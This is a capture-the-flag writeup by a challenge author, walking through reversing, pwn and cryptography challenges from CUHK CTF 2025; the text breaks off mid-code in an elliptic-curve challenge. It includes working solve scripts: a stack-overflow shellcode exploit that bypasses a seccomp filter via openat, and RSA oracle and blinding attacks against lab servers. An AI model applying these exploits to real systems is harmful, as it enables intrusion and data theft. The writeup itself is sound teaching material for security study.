# CUHK CTF 2025 Writeup
All challenge files and description can be accessed [here](https://github.com/Jackylkk2003/my-ctf-challenges/tree/main/cuhk-ctf-2025).
## rev/One-liner
> Category: Rev
> Difficulty: 1
> Challenge author: Jackylkk2003 (Yes, it's me)
> Most CTF challenges in the rev category are about decompiling binaries. As a crypto player, the challenge author does not like cracking binaries. He is also tired of reading long long codes.
>
> What's more fun than a rev challenge with the whole code given and containing only 1 line of code?
> File: `code.py`, `output.txt`
### File
`code.py`:
```python!
print(((__import__('numpy').array(list(map(ord, open('flag.txt', 'r').read().strip()))).reshape((-1, 2))[:, __import__('numpy').newaxis, :] - __import__('numpy').array(list(map(ord, open('flag.txt', 'r').read().strip()))).reshape((-1, 2))[__import__('numpy').newaxis, :, :])**2).sum(axis=2).tolist(), end='')
```
`output.txt`:
```!
[[0, 125, 6497, 1, 45, 584, 409, 6344, 2788, 2549, 80, 405, 4913, 250, 488, 225, 4477, 2600, 569, 2353, 4640, 97, 2549, 2788, 2826, 340, 2890, 2788, 6596, 416, 90, 2704, 17, 4372, 4882, 3924, 89], [125, 0, 5832, 106, 260, 369, 274, 5729, 2953, 3034, 85, 170, 3508, 65, 153, 20, 3172, 2745, 234, 2818, 3445, 82, 3034, 2953, 3161, 145, 3185, 2953, 5941, 181, 65, 2909, 212, 3217, 3517, 2669, 324], (Several values hidden since the file is too large) ,[3924, 2669, 4505, 3805, 4581, 2228, 3253, 4628, 5800, 7433, 3188, 2601, 65, 2626, 1700, 2385, 85, 5540, 2213, 7165, 548, 3085, 7433, 5800, 6786, 2248, 6610, 5800, 4640, 2084, 3330, 5956, 4385, 520, 130, 0, 4793], [89, 324, 8100, 106, 8, 1125, 346, 7925, 3709, 3250, 337, 458, 5920, 353, 909, 416, 5512, 3501, 666, 3034, 5857, 370, 3250, 3709, 3665, 757, 3761, 3709, 8209, 865, 137, 3593, 32, 5557, 5965, 4793, 0]]
```
### Code Analysis
We are given a Python code, obfuscated (?) to a single line. We can deobfuscate it by writing codes in good coding style.
Clean the code by:
- Properly importing the numpy module
- Creating variables to store values that are repeatedly used
- Creating intermediate variables to store results of sub-expressions for readability
Here is the cleaned code, using only the above techniques:
```python=
import numpy as np
flag = open('flag.txt', 'r').read().strip()
enc_flag = np.array(list(map(ord, flag))).reshape((-1, 2))
diff = (enc_flag[:, np.newaxis, :] - enc_flag[np.newaxis, :, :])
print(((diff)**2).sum(axis=2).tolist(), end='')
```
Now the code looks much more readable. We can understand what it does by reading it line by line.
`flag` is the flag as a string. It is then encoded into a numpy array of shape (n, 2) and stored into `enc_flag`.
`diff` performs array reshaping and broadcasting to compute the pairwise differences between each pair of rows in `enc_flag`. The resulting shape of `diff` is (n, n, 2), where `diff[i][j]` contains the difference between the i-th and j-th rows of `enc_flag`.
Finally, we square each element in `diff`, sum along the last axis (axis=2), and convert the resulting 2D array into a list of lists. This gives us a matrix where the element at position (i, j) represents the squared Euclidean distance between the i-th and j-th rows of `enc_flag`.
So, the code computes the pairwise squared Euclidean distances between the rows of the encoded flag array and prints the resulting distance matrix as a list of lists, and this is what `output.txt` contains.
### Solution
Having only the distance matrix is not sufficient to uniquely determine the original points, but we have the flag format `cuhk25ctf{...}` and we can use this information to reconstruct the original points.
We can brute force the coordinates of each point and compute the distances to the flag format. The answer should be unique and can be computed really fast. Basically no code optimization is required and the flag can be obtained in a few seconds.
### Solve script
```python=
import numpy as np
res = [[0, 125, ..., 4793, 0]] # omitted for brevity
res = np.array(res)
n = len(res)
flag_format = np.array(list(map(ord, "cuhk25ctf{"))).reshape((-1, 2))
flag = ""
for i in range(n):
ok = False
for x in range(128):
for y in range(128):
test = np.array([[x, y]])
dist = ((flag_format[:, np.newaxis, :] - test[np.newaxis, :, :])**2).sum(axis=2)
dist = dist.flatten()
if (dist == res[i, :len(dist)]).all():
flag += chr(x) + chr(y)
ok = True
break
if ok:
break
print(flag)
```
Flag: **`cuhk25ctf{Y_wr173_1n_mult1ple_lin35_wh3n_1_l1n3_0f_c0d3_15_alr3ady_3n0u9h}`**
### PS
I named this challenge `One-liner` instead of `One Liner` because the challenge name need that one line (-). UwU.
Of course both the code and the output files are in 1 line.
Enjoy numpy array broadcasting.
## pwn/Secret Compartment
> Category: Pwn
> Difficulty: 2
> Challenge author: Jackylkk2003 (Yes, it's me)
> We are now providing a compartment storage service with a really cheap price!
>
> We also have a secret compartment available if you are interested.
>
> Well, you can't find it anyway, so I guess it doesn't matter.
>
> `nc HOST PORT`
>
> File: `service` and `Dockerfile`
### Files
`service` is a binary file and it does not make sense for me to paste it here.
`Dockerfile`:
```dockerfile=
FROM ubuntu:25.10
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y socat && \
rm -rf /var/lib/apt/lists/*
RUN useradd -M yakitori
WORKDIR /app
COPY --chown=root service ./service
COPY --chown=root flag.txt ./compartment.txt
RUN chmod 755 /app && chmod 755 service && chmod 644 compartment.txt
CMD ["socat", "TCP-LISTEN:3000,fork,reuseaddr", "EXEC:./service,su=yakitori,stderr"]
EXPOSE 3000
```
### Decompilation
First, we decompile the binary to see what the program does. I will be using Ghidra, but feel free to use any decompiler you like (The code in this challenge is too simple that it doesn't really matter what decompiler you use, even online ones should work fine).
```c!
undefined8 main(void)
{
setup();
fun();
return 0;
}
```
A simple main function with a `setup` function and a `fun` function.
`setup` function contains a large ~~(actually not quite)~~ amount of unreadable code, let's ignore them for now.
`fun` function is much simpler and have noticable vulnerabilities.
```c!
void fun(void)
{
long in_FS_OFFSET;
char local_98 [136];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("I have a compartment available for renting at %p, but I bet you cannot find my secret comp artment\n"
,local_98);
puts("I can rent you some space to put things in this compartment though.");
printf("You are lucky that I am making a limited time offer, just HKD %p for 0x88 bytes storage!\n "
,local_10);
gets(local_98);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
```
### Vulnerability analysis
The `gets` function is obviously vulnerable to buffer overflow, and the `local_10` variable directly gives us the canary value. It also leaks the address of `local_98`, which is the address of the buffer we can overflow.
We can further run `checksec` to see if there are any protections enabled.
```sh!
$ checksec service
[*] '[REDACTED]/service'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
```
We can see that the stack is executable, so a standard ret2shellcode attack will work.
### Solution (?)
Simply overflow the buffer with shellcode (you have 0x88 bytes of space! More than enough! You don't even need to fit them in that 0x88 bytes...) and then overwrite the return address with the address of the buffer. The canary value is also leaked to you directly, so you can just use that to bypass the stack canary check.
Then you will somehow fail, miserably... Somehow you cannot get the shell in this challenge.
### Seccomp
Recall that the `setup` function is unreadable, and we have no idea what it does, we can ~~magically~~ guess that it has something to do with protection.
Combining this idea with the challenge name, **SEC**ret **COMP**artment, we can know that the `setup` function is also doing some seccomp filtering setup. By running through `seccomp-tools`, we can get the following results:
```sh!
$ seccomp-tools dump ./service
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
```
So, we can see that `execve` and `open` are both blocked. With a little bit of Googling, we can find that `openat` is not blocked, which can be used to bypass the seccomp filter.
We can then use `openat` to open the file, `read` it and then `write` it to stdout. Now you can get the flag.
> Q: Why I cannot get the flag by reading flag.txt?
Umm... Read the Dockerfile, maybe? That file is given to you for some reason...
> Q: What if I don't know about seccomp? This challenge is too hard!
~~You can try harder.~~ OK fine let's read the setup function together.
```c!
undefined8 setup(void)
{
int iVar1;
int *piVar2;
undefined8 uVar3;
long in_FS_OFFSET;
undefined2 local_78 [4];
undefined2 *local_70;
undefined2 local_68;
undefined local_66;
undefined local_65;
undefined4 local_64;
undefined2 local_60;
undefined local_5e;
undefined local_5d;
undefined4 local_5c;
undefined2 local_58;
undefined local_56;
undefined local_55;
undefined4 local_54;
undefined2 local_50;
undefined local_4e;
undefined local_4d;
undefined4 local_4c;
undefined2 local_48;
undefined local_46;
undefined local_45;
undefined4 local_44;
undefined2 local_40;
undefined local_3e;
undefined local_3d;
undefined4 local_3c;
undefined2 local_38;
undefined local_36;
undefined local_35;
undefined4 local_34;
undefined2 local_30;
undefined local_2e;
undefined local_2d;
undefined4 local_2c;
undefined2 local_28;
undefined local_26;
undefined local_25;
undefined4 local_24;
undefined2 local_20;
undefined local_1e;
undefined local_1d;
undefined4 local_1c;
undefined2 local_18;
undefined local_16;
undefined local_15;
undefined4 local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
local_68 = 0x20;
local_66 = 0;
local_65 = 0;
local_64 = 4;
local_60 = 0x15;
local_5e = 1;
local_5d = 0;
local_5c = 0xc000003e;
local_58 = 6;
local_56 = 0;
local_55 = 0;
local_54 = 0;
local_50 = 0x20;
local_4e = 0;
local_4d = 0;
local_4c = 0;
local_48 = 0x35;
local_46 = 0;
local_45 = 1;
local_44 = 0x40000000;
local_40 = 6;
local_3e = 0;
local_3d = 0;
local_3c = 0;
local_38 = 0x15;
local_36 = 0;
local_35 = 1;
local_34 = 0x3b;
local_30 = 6;
local_2e = 0;
local_2d = 0;
local_2c = 0;
local_28 = 0x15;
local_26 = 0;
local_25 = 1;
local_24 = 2;
local_20 = 6;
local_1e = 0;
local_1d = 0;
local_1c = 0;
local_18 = 6;
local_16 = 0;
local_15 = 0;
local_14 = 0x7fff0000;
local_78[0] = 0xb;
local_70 = &local_68;
iVar1 = prctl(0x26,1,0,0,0);
if (iVar1 == 0) {
iVar1 = prctl(0x16,2,local_78);
if (iVar1 == 0) {
uVar3 = 0;
goto LAB_00101423;
}
perror(":<");
}
else {
perror(":c");
}
piVar2 = __errno_location();
if (*piVar2 == 0x16) {
puts(":(");
}
uVar3 = 1;
LAB_00101423:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar3;
}
```
~~Why did I even paste this here...~~
There is a large pile of variable assignments. But let's focus on the part that is really performing some actions that could affect the `fun` function. That is, the function calls. setvbuf are simply setting the buffer for stdin, stdout and stderr, so we can ignore them. prctl is the interesting one.
Search for `prctl ctf` online and you will find out about `seccomp`. With the hint in the challenge name, we can guess that this is a seccomp filter setup.
If you didn't notice the `prctl` part then... ummm... I guess you really need to try harder.
### Solve script
```py=
from pwn import *
HOST = "localhost"
PORT = 3000
with remote(HOST, PORT) as io:
io.recvuntil(b"I have an compartment at ")
addr = int(io.recvuntil(b",", drop=True), 16)
io.recvuntil(b"just HKD ")
canary = int(io.recvuntil(b" ", drop=True),16)
context.arch = 'amd64'
shellcode = shellcraft.openat(0, '/app/compartment.txt', 0)
shellcode += shellcraft.read(3,addr+0x100,0x200)
shellcode += shellcraft.write(1,addr+0x100,0x200)
shellcode = asm(shellcode)
payload = flat(
shellcode,
b"A" * (0x88 - len(shellcode)),
canary,
b"\x00" * 8,
addr
)
io.sendline(payload)
io.interactive()
```
Flag: **`cuhk25ctf{Secr3t_C0mpu71ng_1n_S3cure_C0mpartm3n7}`**
### PS
This challenge is still solvable even if you don't have the Dockerfile given (unknown flag filename). I guess I am really kind ~~[(and maybe trustworthy too?)](#cryptoTrustworthy-Person)~~.
~~Try to figure out why the username in the Dockerfile is Yakitori.~~
Also, to all the 14 teams who solved the challenge during the CTF, I am still waiting for your rent. Please repay the rent as soon as possible.
## crypto/Favourite Message
> Category: Crypto
> Difficulty: 1
> Challenge author: Jackylkk2003 (Yes, it's me)
> Tell me your favourite message!
>
> `nc HOST PORT`
> File: `favourite-message.py`
### File
`favourite-message.py`:
```python=
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
def xor(a, b):
return bytes(x ^ y for x, y in zip(a, b))
class Cipher:
def __init__(self, key):
self.key = key
def encrypt_block(self, block):
cipher = AES.new(self.key, AES.MODE_ECB)
return cipher.encrypt(block)
def encrypt(self, message):
assert len(message) % 16 == 0
blocks = [message[i : i + 16] for i in range(0, len(message), 16)]
encrypted_message = b""
for plaintext in blocks:
ciphertext = self.encrypt_block(plaintext)
self.key = xor(plaintext, ciphertext)
encrypted_message += ciphertext
return encrypted_message
def main():
UwU = os.urandom(16)
cipher = Cipher(UwU)
print("Let's exchange our favourite messages!")
message = input("Tell me your favourite message: ").encode()
print("This message looks cool! ^v^")
flag = open("flag.txt", "rb").read()
message = message.replace(b"{flag}", flag)
message += b"UwU"
message = message.replace(b"UwU", b"UwU"*4) # More UwU!! Make sure the UwU is UwU enough!
message = pad(message, 16)
print("And here is my favourite message! I am sure you will UwU it!")
print("UwU", cipher.encrypt(message).hex())
if __name__ == "__main__":
main()
```
### Basic analysis
This is a challenge about AES and [block cipher mode of operations](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation).
In most AES CTF challenges, you can treat the AES cipher as a secure black box, and in this challenge, we also assume that AES itself is secure.
AES splits the plaintext into blocks of 16 bytes, and encrypt each of them separately. To avoid the same message being encrypted to the same ciphertext in different blocks, we usually use mode of operations to securely link the blocks together (or maybe insecurely in CTFs).
In this challenge, we can look at how the message is encrypted.
```python=14
def encrypt_block(self, block):
cipher = AES.new(self.key, AES.MODE_ECB)
return cipher.encrypt(block)
def encrypt(self, message):
assert len(message) % 16 == 0
blocks = [message[i : i + 16] for i in range(0, len(message), 16)]
encrypted_message = b""
for plaintext in blocks:
ciphertext = self.encrypt_block(plaintext)
self.key = xor(plaintext, ciphertext)
encrypted_message += ciphertext
return encrypted_message
```
The encrypt block function is simply invoking the ECB mode of AES to encrypt a block. This means the block is simply encrypted with the plain AES cipher without any additional processing.
We can see the message is being split into blocks, and each block is encrypted separately and then combined together later.
To look at the mode of operations, we should have a look at how different blocks interact with each other in the encryption process.
A visualization helps us understand how the blocks are linked together:

The + sign in a circle means bitwise xor operation.
Notice that the plaintext is controlled by us, and the ciphertext is given to us. The key is not given to us, but after one block, the key is updated using the xor of the plaintext and ciphertext. We know both and can compute the new key by ourselves.
### Exploit
This means that we cannot decrypt the first block of the ciphertext, but we can decrypt all the blocks later.
We can decrypt a ciphertext if we have the key and the ciphertext.
Also note that even if part of the plaintext is unknown due to it being the flag, we can still get the whole plaintext since by the time we need the plaintext of this block to compute the key of the next block, we already have the plaintext of this block since it is decrypted by the previous block.
In other words, this mode of operation has almost no security (except for the first block).
### Solve script
```python=
from pwn import *
from Crypto.Cipher import AES
HOST = "localhost"
PORT = 3000
with remote(HOST, PORT) as io:
io.sendlineafter(b"Tell me your favourite message: ",b"0" * 16 + b"{flag}")
io.recvuntil(b"\nUwU ")
c = bytes.fromhex(io.recvline().strip().decode())
key = xor(b"0" * 16, c[:16]) # Pad 16 0s to be the first block.
m = b""
for i in range(16, len(c), 16):
cipher = AES.new(key, AES.MODE_ECB)
block = c[i : i + 16]
b = cipher.decrypt(block)
m += b
key = xor(b, block)
print(m)
```
Umm... Yes, the UwU in the challenge has nothing to do with the solution.
Flag: **`cuhk25ctf{I_gu3s5_S7ick_70_u51ng_s7andard_m0d3s_i5_b3tter_7han_designiNg_0ur_Own_CRYpto}`**
### PS
This is yet another challenge called `Favourite ???`. If I remember correctly, this should be the 5th one. If you have read the previous challenges in the Favourite series, you will find that they are not related in any form except the similar challenge names and descriptions.
## crypto/Secret Base
> Category: Crypto
> Difficulty: 2
> Challenge author: Jackylkk2003 (Yes, it's me)
> I have protected my [secret base](https://www.youtube.com/watch?v=B0GpxW8K0vY) with the ultra-secure Robust Skulking Approach and the X'treme Obfuscation Routine. Surely you cannot find my secret base!
>
> `nc HOST PORT`
> File: `secret-base.py`
### Files
`secret-base.py`:
```python=
from Crypto.Util.number import getPrime
from Crypto.Random.random import randint
from math import gcd
p = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
e = phi
while gcd(e, phi) != 1:
e = randint(2, phi - 1)
if e % 2 == 0:
e += 1
d = pow(e, -1, phi)
def encrypt(m):
return pow(m, e, n)
def decrypt(c):
return pow(c, d, n)
def main():
flag = open("flag.txt", "rb").read().strip()
secret_base = int.from_bytes(flag, "big")
assert 0 < secret_base < n
c = encrypt(secret_base) # The unknown base of RSA is a secret base, right? :3
s = set([c])
print(f"n: {n}")
print(f"c: {c}")
while True:
c1 = int(input("c1: "))
assert 1 < c1 < n, "u h4cker!"
assert c1 not in s, ":<"
s.add(c1)
c2 = int(input("c2: "))
assert 1 < c2 < n, "u h4cker!"
assert c2 not in s, ":<"
s.add(c2)
m1 = decrypt(c1)
m2 = decrypt(c2)
print(f"m: {m1 ^ m2}")
if __name__ == "__main__":
main()
```
### Code Analysis
Note: To avoid ambiguity, in this writeup, we will use `**` to denote exponentiation, `^` to denote bitwise XOR.
This challenge is a simple RSA challenge. Let's first have a look at the code.
```python=5
p = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
e = phi
while gcd(e, phi) != 1:
e = randint(2, phi - 1)
if e % 2 == 0:
e += 1
d = pow(e, -1, phi)
def encrypt(m):
return pow(m, e, n)
def decrypt(c):
return pow(c, d, n)
```
There is no obvious vulnerability here. `e` is not fixed to a common value like `65537`. It is worth noting that `e` is an odd integer, and `phi` is an even integer. We can deduce that `d` is also an odd integer.
```python=23
flag = open("flag.txt", "rb").read().strip()
secret_base = int.from_bytes(flag, "big")
assert 0 < secret_base < n
c = encrypt(secret_base) # The unknown base of RSA is a secret base, right? :3
s = set([c])
print(f"n: {n}")
print(f"c: {c}")
```
You are given `n` and `c`. Notice that `e` is unknown, and `c` is the ciphertext to be cracked.
```python=31
while True:
c1 = int(input("c1: "))
assert 1 < c1 < n, "u h4cker!"
assert c1 not in s, ":<"
s.add(c1)
c2 = int(input("c2: "))
assert 1 < c2 < n, "u h4cker!"
assert c2 not in s, ":<"
s.add(c2)
m1 = decrypt(c1)
m2 = decrypt(c2)
print(f"m: {m1 ^ m2}")
```
You can query the server with two ciphertexts `c1` and `c2`, and it will return `m1 ^ m2`, where `m1` and `m2` are the decrypted plaintexts of `c1` and `c2`, respectively.
More importantly, you cannot reuse the same ciphertext for multiple queries.
It is also worth noting that the assertion also bans `1` and `c` from being queried.
### Observations
Why is 1 and c banned?
It is a bit strange that a specific value is banned. It is easy to understand why `c` is banned since decrypting `c` is our goal.
`1` is a special value in RSA. Decrypting `1` will always yield `1`, regardless of the values of `d` and `n`. This is because `1**d mod n = 1`.
But this is banned... can we find another value that have similar property?
Let's try `-1` (or `n-1` under modulo `n`). `-1**d mod n = -1 mod n = n-1` since `d` is odd.
We have just seen that `decrypt(1) = 1` and `decrypt(-1) = -1`. (should be `n-1` under modulo `n`, but we will just use `-1` so that it is easier to understand)
That is, if we query `c1 = n-1` then we can arbitrarily decrypt any ciphertext `c2` by xoring the result with `n-1`.
But we don't have information about decrypting `c` since using `c` itself is banned.
Instead of going for `c`, we can use `-c` (or `n-c` under modulo `n`) instead. `(-c) ** d mod n = (-1 ** d) * (c ** d) mod n = -f mod n = n-f`, where `f` is the flag.
So, we just have to query `c1 = n-1` and `c2 = n-c` to get `m`, and the flag is `n - (m ^ (n-1))`.
### Solve Script
```python=
from Crypto.Util.number import long_to_bytes
from pwn import *
HOST = "localhost"
PORT = 3000
with remote(HOST, PORT) as io:
io.recvuntil(b"n: ")
n = int(io.recvline().strip())
io.recvuntil(b"c: ")
c = int(io.recvline().strip())
io.sendlineafter(b"c1: ", str(n-1).encode())
io.sendlineafter(b"c2: ", str(n-c).encode())
io.recvuntil(b"m: ")
m = int(io.recvline().strip())
flag = long_to_bytes(n-(m ^ (n-1)))
print(flag.decode())
io.close()
```
Flag: **`cuhk25ctf{L0oks_l1k3_th3_pr0t3ct10n_1s_n0t_th47_str0ng}`**
### PS
This is not a very difficult RSA challenge. With these observations, we can move on to MKII of Secret Base.
## crypto/Secret Base MKII
> Category: Crypto
> Difficulty: 3
> Challenge author: Jackylkk2003 (Yes, it's me)
> I have again protected my [secret base](https://www.youtube.com/watch?v=ztF1ru7LEzs) with the ultra-secure Robust Skulking Approach and the X'treme Obfuscation Routine but with an upgraded security system! This time you really cannot find my secret base!
>
> `nc HOST PORT`
> File: `secret-base-2.py`
### Files
`secret-base-2.py`:
```python=
from Crypto.Util.number import getPrime
from Crypto.Random.random import randint
from math import gcd
p = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
e = phi
while gcd(e, phi) != 1:
e = randint(2, phi - 1)
if e % 2 == 0:
e += 1
d = pow(e, -1, phi)
def encrypt(m):
return pow(m, e, n)
def decrypt(c):
return pow(c, d, n)
def main():
flag = open("flag.txt", "rb").read().strip()
secret_base = int.from_bytes(flag, "big")
assert 0 < secret_base < n
c = encrypt(secret_base) # The unknown base of RSA is a secret base, right? :3
s = set([c, n - c]) # UwU
print(f"n: {n}")
print(f"c: {c}")
while True:
c1 = int(input("c1: "))
assert 1 < c1 < n, "u h4cker!"
assert c1 not in s, ":<"
s.add(c1)
c2 = int(input("c2: "))
assert 1 < c2 < n, "u h4cker!"
assert c2 not in s, ":<"
s.add(c2)
m1 = decrypt(c1)
m2 = decrypt(c2)
print(f"m: {m1 ^ m2}")
if __name__ == "__main__":
main()
```
### Code Analysis
Note: To avoid ambiguity, in this writeup, we will use `**` to denote exponentiation, `^` to denote bitwise XOR.
Before reading this writeup, it is recommended to read [the writeup for Secret Base](#cryptoSecret-Base) first, as this challenge is a harder version of that challenge.
Only 1 line of code is changed from the previous challenge:
```python=27
s = set([c, n - c]) # UwU
```
This time, `-c` is banned too. So the previous attack no longer works. Still, `-1` is not banned and we can still decrypt arbitrary ciphertexts... at least we can do it once.
### Blinding Attack
While this may be a bit difficult to solve, let's consider a slightly easier version of this challenge. What if `e` is given to you?
If we have `e`, we can make use of RSA Blinding Attack to decrypt `c`. The idea is as follows:
1. Pick a random integer `k` such that `1 < k < n`.
2. Compute `c' = (k ** e * c) % n`.
3. Query the server with `c1 = n - 1` and `c2 = c'`. The server will return `m1 ^ m2 = (n - 1) ^ decrypt(c') = (n - 1) ^ (f * k)`.
4. Xor the result with `n - 1` to get `f * k`.
5. With `f * k`, we can compute `f` by multiplying it with the modular inverse of `k` modulo `n`.
6. We can get the flag!
Unfortunately, we don't know `e`.
Let's find other things that we can do. Can we decrypt more than one ciphertext?
We know that `decrypt(c) = - decrypt(-c)`. With our first query `c1 = n - 1`, we can decrypt an arbitrary ciphertext `c2` to get `m2 = decrypt(c2)`. Then we automatically know that `decrypt(n - c2) = n-m2`, so if we use `n-c2` as the new `c1` in our next query, we can decrypt another arbitrary `c2`. This chain can keep going on and on, and we can decrypt as many ciphertexts as we want.
### Exploit
Now, we can decrypt multiple ciphertexts, can we use this to carry out a similar blinding attack?
It is actually possible. This time, we don't choose a random `k`, we choose a random `r` such that `r = k ** e % n`. It is fine that we don't know `k`. The important thing is that `decrypt(r) = k` and we know `r`.
So in our first query, we can use `c1 = n - 1` and `c2 = r * c % n` to get `mrd = decrypt(r * c) = decrypt(r) * decrypt(c) = k * f`. And in our second query, we can use `c1 = n - r * c % n` and `c2 = r` to get `rd = decrypt(r) = k`. Finally, we can compute `f = mrd * pow(rd, -1, n) % n` to get the flag.
### Solve Script
```python=
from Crypto.Util.number import long_to_bytes
from pwn import *
HOST = "localhost"
PORT = 3000
with remote(HOST, PORT) as io:
io.recvuntil(b"n: ")
n = int(io.recvline().strip())
io.recvuntil(b"c: ")
c = int(io.recvline().strip())
r = 2
io.sendlineafter(b"c1: ", str(n - 1).encode())
io.sendlineafter(b"c2: ", str(r * c % n).encode())
io.recvuntil(b"m: ")
mrd = int(io.recvline().strip()) ^ (n - 1) # mrd = m * r ** d = decrypt(r * c)
io.sendlineafter(b"c1: ", str(n - r * c % n).encode())
io.sendlineafter(b"c2: ", str(r).encode())
io.recvuntil(b"m: ")
rd = int(io.recvline().strip()) ^ (n - mrd) # rd = r ** d
flag = long_to_bytes(mrd * pow(rd, -1, n) % n)
print(flag.decode())
io.close()
```
Flag: **`cuhk25ctf{d0_you_l1ke_the_s3cret_b4s3_50ng_in_MKI_0r_MKII_m0r3?}`**
### PS
There is a # UwU on line 27 indicating there is a change on that line. And because of this change, this challenge is unlocked only after Secret Base is solved.
I named these 2 challenges as secret base because I somehow know 2 songs called secret base, or at least secret base is a valid translation of the song names.
1. [secret base 〜君がくれたもの〜 (10 years after Ver.)](https://www.youtube.com/watch?v=B0GpxW8K0vY)
2. [ひみつ基地](https://www.youtube.com/watch?v=ztF1ru7LEzs)
If you are wondering why I name this challenge MKII instead of just a simple 2... It comes from this mod.

Hope you enjoy the songs in these 2 challenges.
## crypto/Trustworthy Person
> Category: Crypto
> Difficulty: 4
> Challenge author: Jackylkk2003 (Yes, it's me)
> I am really trustworthy!
>
> `nc HOST PORT`
> File: `chal.py` and `SquigglyStuff.py`
### Files
`chal.py`:
```python=
from SquigglyStuff import Point, Squiggle, deserialize_point
from Crypto.Random.random import randint
import time
# Do you like Bitcoins?
# Introducing the Bitcoin Squiggle! (。♥‿♥。)
squiggle = Squiggle(0, 7, 2**256 - 2**32 - 2**9 - 2**8 - 2**7 - 2**6 - 2**4 - 1)
G = Point(
0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,
0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8,
)
order = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
def trust():
return input("> ").strip().lower()[0] == 'y'
def main():
start_time = time.time()
d = randint(2, order - 1)
Q = squiggle.mul(d, G)
print("Ciallo~(∠・ω< )⌒★")
print("I know a secret number d, and I can tell you Q.")
print("Q:", Q)
print("I really know the value of d! (≧▽≦)")
print("Do you trust me? 0v0")
continue_protocol = not trust()
round_no = 0
while continue_protocol:
if round_no == 10:
print("You don't trust me? (╯°□°)╯︵ ┻━┻")
print("I am a trustworthy person, I swear! (。•́︿•̀。)")
print("Me go cry in the corner now... (ಥ﹏ಥ)")
print("Bye! (╯︵╰,)")
return
round_no += 1
print("Why no trust me? QAQ")
print("OK fine, I will prove it to you.")
print("The protocol goes as follows:")
print(r"1. Nah I am too lazy to write it down, just read the code by yourself... ¯\_(ツ)_/¯")
print("2. Yes, CTF players should know how to read code. AwA")
# UwU
print("Now give me C1 and C2! >w<")
print("I don't want C4, I don't wanna get exploded! :3")
C1 = deserialize_point(input("C1: ").strip())
C2 = deserialize_point(input("C2: ").strip())
print("The thing you need is", squiggle.add(C2, squiggle.mul(-d, C1)))
print("Now do you trust me? OwO")
continue_protocol = not trust()
print("I knew you would trust me, I am a trustworthy person after all! ^_^")
print("Now, it's time for you to prove that to me! (¬‿¬)")
print("I can also prove that you don't know the secret number! UwU")
for i in range(10):
print(f"Round {i + 1}:")
P = squiggle.mul(randint(1, order - 1), G)
k = randint(1, order - 1)
C1 = squiggle.mul(k, G)
C2 = squiggle.add(P, squiggle.mul(k, Q))
print("C1:", C1)
print("C2:", C2)
print("Now tell me a secret!")
secret = deserialize_point(input("Secret: ").strip())
if secret == P:
print("You got lucky...")
else:
print("Haha, told you that you don't know the secret number!")
print("I am always right! (¬‿¬)")
return
print("Well... Umm... Err... I guess you are really lucky...")
if time.time() - start_time >= 30:
print("It is a bit late now, I need to go to bed... (。•́︿•̀。)")
print("I am sleeeeeepy... zzzzz... ( ̄o ̄) . z Z Z")
print("https://tinyurl.com/trustworthy-person-UwU")
return
flag = open("flag.txt", "r").read()
print("Fine, here is what you wanted to know:", flag)
print("You made me a non-trustworthy person! >.<")
print("Hope you are happy now! (。•́︿•̀。)")
print("Bye! (╯°□°)╯︵ ┻━┻")
if __name__ == "__main__":
main()
```
`SquigglyStuff.py`:
```python=
import re
class Point:
def __init__(self, x, y):
self.x = x
self.y = y
def is_infinity(self):
return self.x is None and self.y is None
def __eq__(self, other):
if self.is_infinity() and other.is_infinity():
return True
return self.x == other.x and self.y == other.y
def __repr__(self):
if self.is_infinity():
return "Point(infinity)"
return f"Point({self.x}, {self.y})"
def __hash__(self):
if self.is_infinity():
return hash((None, None))
return hash((self.x, self.y))
class Squiggle:
def __init__(self, a, b, p):
self.a = a
self.b = b
self.p = p
def normalize(self, P):
if P.is_infinity():
return P
return Point(P.x % self.p, P.y % self.p)
def add(self, P, Q):
P = self.normalize(P)
Q = self.normalize(Q)
if P.is_infinity():
return Q
if Q.is_infinity():
return P
if P == self.negate(Q):
return Point(None, None)
if P == Q:
t = (3 * P.x * P.x + self.a) * pow(P.y << 1, -1, self.p) % self.p
else:
t = (Q.y - P.y) * pow(Q.x - P.x, -1, self.p) % self.p
x = (t * t - P.x - Q.x) % self.p
y = ((P.x - x) * t - P.y) % self.p
return Point(x, y)
def negate(self, P):
P = self.normalize(P)
if P.is_infinity():
return P
return Point(P.x, -P.y % self.p)
def mul(self, k, P):
P = self.normalize(P)
result = Point(None, None)
current = P
if k < 0:
return self.mul(-k, self.negate(P))
while k > 0:
if k & 1:
result = self.add(result, current)
current = self.add(current, current)
